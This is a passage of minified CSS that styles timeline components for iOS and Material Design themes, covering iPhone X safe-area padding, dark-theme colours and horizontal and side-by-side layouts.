.timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title,.ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-month-title,.ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title,.ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title,.ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-month-title,.ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title,.ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title{left:-44px;right:0;width:auto}.ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child,.ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-item:first-child,.ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title+.timeline-item,.ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge)>.timeline-item:first-child,.ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child,.ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-item:first-child,.ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title+.timeline-item,.ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge)>.timeline-item:first-child,.ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child,.ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-item:first-child,.ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title+.timeline-item,.ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge)>.timeline-item:first-child,.ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child,.ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-item:first-child,.ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title+.timeline-item,.ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge)>.timeline-item:first-child,.ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child,.ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-item:first-child,.ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title+.timeline-item,.ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge)>.timeline-item:first-child{overflow:visible}.ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child .timeline-item-date,.ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-item:first-child .timeline-item-date,.ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title+.timeline-item .timeline-item-date,.ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge)>.timeline-item:first-child .timeline-item-date,.ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child .timeline-item-date,.ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-item:first-child .timeline-item-date,.ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title+.timeline-item .timeline-item-date,.ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge)>.timeline-item:first-child .timeline-item-date,.ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child .timeline-item-date,.ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-item:first-child .timeline-item-date,.ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title+.timeline-item .timeline-item-date,.ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge)>.timeline-item:first-child .timeline-item-date,.ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child .timeline-item-date,.ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-item:first-child .timeline-item-date,.ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title+.timeline-item .timeline-item-date,.ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge)>.timeline-item:first-child .timeline-item-date,.ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child .timeline-item-date,.ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-item:first-child .timeline-item-date,.ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title+.timeline-item .timeline-item-date,.ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge)>.timeline-item:first-child .timeline-item-date{width:auto;padding-left:calc(10px + constant(safe-area-inset-left));padding-left:calc(10px + env(safe-area-inset-left));left:calc(0px - constant(safe-area-inset-left));left:calc(0px - env(safe-area-inset-left));right:0}.ios.device-iphone-x .ios-edges .timeline:not(.no-ios-edges):not(.no-ios-left-edge):not(.timeline-horizontal),.ios.device-iphone-x .ios-left-edge .timeline:not(.no-ios-edges):not(.no-ios-left-edge):not(.timeline-horizontal),.ios.device-iphone-x .panel-left .timeline:not(.no-ios-edges):not(.no-ios-left-edge):not(.timeline-horizontal),.ios.device-iphone-x .popup .timeline:not(.no-ios-edges):not(.no-ios-left-edge):not(.timeline-horizontal),.ios.device-iphone-x .sheet-modal .timeline:not(.no-ios-edges):not(.no-ios-left-edge):not(.timeline-horizontal){padding-left:calc(15px + constant(safe-area-inset-left));padding-left:calc(15px + env(safe-area-inset-left))}.ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-month-title,.ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-year-title,.ios.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-month-title,.ios.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-year-title,.ios.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-month-title,.ios.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-year-title,.ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-month-title,.ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-year-title,.ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-month-title,.ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-year-title{width:auto;right:calc(0px - constant(safe-area-inset-right));right:calc(0px - env(safe-area-inset-right))}.ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child,.ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge)>.timeline-item:last-child,.ios.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child,.ios.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge)>.timeline-item:last-child,.ios.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child,.ios.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge)>.timeline-item:last-child,.ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child,.ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge)>.timeline-item:last-child,.ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child,.ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge)>.timeline-item:last-child{overflow:visible}.ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child .timeline-item-date,.ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge)>.timeline-item:last-child .timeline-item-date,.ios.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child .timeline-item-date,.ios.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge)>.timeline-item:last-child .timeline-item-date,.ios.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child .timeline-item-date,.ios.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge)>.timeline-item:last-child .timeline-item-date,.ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child .timeline-item-date,.ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge)>.timeline-item:last-child .timeline-item-date,.ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child .timeline-item-date,.ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge)>.timeline-item:last-child .timeline-item-date{width:auto;right:calc(0px - constant(safe-area-inset-right));right:calc(0px - env(safe-area-inset-right));left:0}.ios.device-iphone-x .ios-edges .timeline:not(.no-ios-edges):not(.no-ios-right-edge):not(.timeline-horizontal),.ios.device-iphone-x .ios-right-edge .timeline:not(.no-ios-edges):not(.no-ios-right-edge):not(.timeline-horizontal),.ios.device-iphone-x .panel-right .timeline:not(.no-ios-edges):not(.no-ios-right-edge):not(.timeline-horizontal),.ios.device-iphone-x .popup .timeline:not(.no-ios-edges):not(.no-ios-right-edge):not(.timeline-horizontal),.ios.device-iphone-x .sheet-modal .timeline:not(.no-ios-edges):not(.no-ios-right-edge):not(.timeline-horizontal){padding-right:calc(15px + constant(safe-area-inset-right));padding-right:calc(15px + env(safe-area-inset-right))}}.ios .theme-dark .timeline-month-title,.ios .theme-dark .timeline-year-title{background:#1b1b1b}.ios .theme-dark .timeline-item-inner{background-color:#1c1c1d}.ios .theme-dark .timeline-item-time{color:#8e8e93}.ios .theme-dark .timeline-horizontal .timeline-item-date,.timeline-horizontal.ios .theme-dark .timeline-item-date{background:#1b1b1b}.ios .theme-dark .timeline-horizontal .timeline-item-date:after,.timeline-horizontal.ios .theme-dark .timeline-item-date:after{background-color:#282829}.ios .theme-dark .timeline-horizontal .timeline-month .timeline-item:before,.timeline-horizontal.ios .theme-dark .timeline-month .timeline-item:before{background-color:#282829}.ios .theme-dark .timeline-horizontal .timeline-item:after,.timeline-horizontal.ios .theme-dark .timeline-item:after{background-color:#282829}.ios .theme-dark .timeline-horizontal .timeline-year:after,.timeline-horizontal.ios .theme-dark .timeline-year:after{background-color:#282829}.md .timeline{margin:32px 0;padding:0 16px}.md .block-strong .timeline{padding:0;margin:0}.md .timeline-item{padding:2px 0 16px}.md .timeline-item:last-child{padding-bottom:2px}.md .timeline-item-content .block,.md .timeline-item-content .card,.md .timeline-item-content .list,.md .timeline-item-content.block,.md .timeline-item-content.card,.md .timeline-item-content.list{margin:0;width:100%}.md .timeline-item-content .block+.block,.md .timeline-item-content .block+.card,.md .timeline-item-content .block+.list,.md .timeline-item-content .card+.block,.md .timeline-item-content .card+.card,.md .timeline-item-content .card+.list,.md .timeline-item-content .list+.block,.md .timeline-item-content .list+.card,.md .timeline-item-content .list+.list{margin:16px 0 0}.md .timeline-item-inner{border-radius:2px;padding:8px 16px;-webkit-box-shadow:0 1px 3px rgba(0,0,0,.12),0 1px 2px rgba(0,0,0,.24);box-shadow:0 1px 3px rgba(0,0,0,.12),0 1px 2px rgba(0,0,0,.24)}.md .timeline-item-inner+.timeline-item-inner{margin-top:16px}.md .timeline-item-divider{margin-left:16px;margin-right:16px}.md .timeline-item-time{margin-top:16px;color:rgba(0,0,0,.54)}.md .timeline-item-time:first-child{margin-top:0}.md .timeline-item-title{font-size:16px}.md .timeline-sides .timeline-item{margin-right:calc(50% - (32px + 10px)/ 2 - 50px);margin-left:0}.md .timeline-sides .timeline-item .timeline-item-date{text-align:left}.md .timeline-sides .timeline-item:not(.timeline-item-right):nth-child(2n){-webkit-box-orient:horizontal;-webkit-box-direction:reverse;-webkit-flex-direction:row-reverse;-ms-flex-direction:row-reverse;flex-direction:row-reverse;margin-left:calc(50% - (32px + 10px)/ 2 - 50px);margin-right:0}.md .timeline-sides .timeline-item:not(.timeline-item-right):nth-child(2n) .timeline-item-date{text-align:right}.md .timeline-sides .timeline-item-left{-webkit-box-orient:horizontal;-webkit-box-direction:reverse;-webkit-flex-direction:row-reverse;-ms-flex-direction:row-reverse;flex-direction:row-reverse;margin-left:calc(50% - (32px + 10px)/ 2 - 50px);margin-right:0}.md .timeline-sides .timeline-item-left .timeline-item-date{text-align:right}.md .timeline-sides .timeline-item-right{margin-right:calc(50% - (32px + 10px)/ 2 - 50px);margin-left:0}.md .timeline-sides .timeline-item-right .timeline-item-date{text-align:left}@media (min-width:768px){.md .tablet-sides .timeline-item{margin-right:calc(50% - (32px + 10px)/ 2 - 50px);margin-left:0}.md .tablet-sides .timeline-item .timeline-item-date{text-align:left}.md .tablet-sides .timeline-item:not(.timeline-item-right):nth-child(2n){-webkit-box-orient:horizontal;-webkit-box-direction:reverse;-webkit-flex-direction:row-reverse;-ms-flex-direction:row-reverse;flex-direction:row-reverse;margin-left:calc(50% - (32px + 10px)/ 2 - 50px);margin-right:0}.md .tablet-sides .timeline-item:not(.timeline-item-right):nth-child(2n) .timeline-item-date{text-align:right}.md .tablet-sides .timeline-item-left{-webkit-box-orient:horizontal;-webkit-box-direction:reverse;-webkit-flex-direction:row-reverse;-ms-flex-direction:row-reverse;flex-direction:row-reverse;margin-left:calc(50% - (32px + 10px)/ 2 - 50px);margin-right:0}.md .tablet-sides .timeline-item-left .timeline-item-date{text-align:right}.md .tablet-sides .timeline-item-right{margin-right:calc(50% - (32px + 10px)/ 2 - 50px);margin-left:0}.md .tablet-sides .timeline-item-right .timeline-item-date{text-align:left}}.md .timeline-horizontal{padding:0;margin:0;position:relative}.md .timeline-horizontal .timeline-item{padding-top:34px!important;padding-bottom:12px}.md .timeline-horizontal .timeline-item-date{background:#2196f3;padding:0 12px;color:#fff}.md .timeline-horizontal .timeline-item-date:after{content:'';position:absolute;right:0;width:100%;top:100%;bottom:auto;height:10px;pointer-events:none;background:-webkit-gradient(linear,left top,left bottom,from(rgba(0,0,0,.3)),color-stop(40%,rgba(0,0,0,.1)),color-stop(50%,rgba(0,0,0,.05)),color-stop(80%,rgba(0,0,0,0)),to(rgba(0,0,0,0)));background:-webkit-linear-gradient(top,rgba(0,0,0,.3) 0,rgba(0,0,0,.1) 40%,rgba(0,0,0,.05) 50%,rgba(0,0,0,0) 80%,rgba(0,0,0,0) 100%);background:linear-gradient(to bottom,rgba(0,0,0,.3) 0,rgba(0,0,0,.1) 40%,rgba(0,0,0,.05) 50%,rgba(0,0,0,0) 80%,rgba(0,0,0,0) 100%)}.md .timeline-horizontal .timeline-item-content{padding:12px;height:calc(100% - 12px)}.md .timeline-horizontal.no-shadow .timeline-item-date:after{display:none}.md .timeline-horizontal .timeline-item:after{content:'';position:absolute;background-color:rgba(0,0,0,.12);display:block;z-index:15;top:0;right:0;bottom:auto;left:auto;width:1px;height:100%;-webkit-transform-origin:100% 50%;transform-origin:100% 50%}.md.device-pixel-ratio-2 .timeline-horizontal .timeline-item:after{-webkit-transform:scaleX(.5);transform:scaleX(.5)}.md.device-pixel-ratio-3 .timeline-horizontal .timeline-item:after{-webkit-transform:scaleX(.33);transform:scaleX(.33)}.md .timeline-horizontal .timeline-item:before{content:'';position:absolute;background-color:rgba(0,0,0,.12);display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.md.device-pixel-ratio-2 .timeline-horizontal .timeline-item:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.md.device-pixel-ratio-3 .timeline-horizontal .timeline-item:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.md .timeline-month-title,.md .timeline-year-title{padding:0 12px;color:#fff;background:#2196f3}.md .timeline-month-title span,.md .timeline-year-title span{right:12px}.md .timeline-year-title span{margin-top:2px}@media (orientation:landscape){.md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge){padding-left:constant(safe-area-inset-left);padding-left:env(safe-area-inset-left)}.md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-month-title span,.md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year-title span,.md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-month-title span,.md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year-title span,.md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-month-title span,.md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year-title span,.md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-month-title span,.md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year-title span,.md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-month-title span,.md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year-title span{left:calc(12px + constant(safe-area-inset-left));left:calc(12px + env(safe-area-inset-left))}.md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-month-title,.md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title,.md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title,.md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-month-title,.md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title,.md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title,.md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-month-title,.md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title,.md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title,.md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-month-title,.md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title,.md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title,.md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-month-title,.md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title,.md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title{left:-44px;right:0;width:auto}.md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child,.md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-item:first-child,.md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title+.timeline-item,.md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge)>.timeline-item:first-child,.md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child,.md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-item:first-child,.md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title+.timeline-item,.md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge)>.timeline-item:first-child,.md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child,.md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-item:first-child,.md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title+.timeline-item,.md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge)>.timeline-item:first-child,.md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child,.md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-item:first-child,.md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title+.timeline-item,.md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge)>.timeline-item:first-child,.md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child,.md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-item:first-child,.md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title+.timeline-item,.md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge)>.timeline-item:first-child{overflow:visible}.md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child .timeline-item-date,.md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-item:first-child .timeline-item-date,.md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title+.timeline-item .timeline-item-date,.md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge)>.timeline-item:first-child .timeline-item-date,.md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child .timeline-item-date,.md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-item:first-child .timeline-item-date,.md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title+.timeline-item .timeline-item-date,.md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge)>.timeline-item:first-child .timeline-item-date,.md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child .timeline-item-date,.md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-item:first-child .timeline-item-date,.md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title+.timeline-item 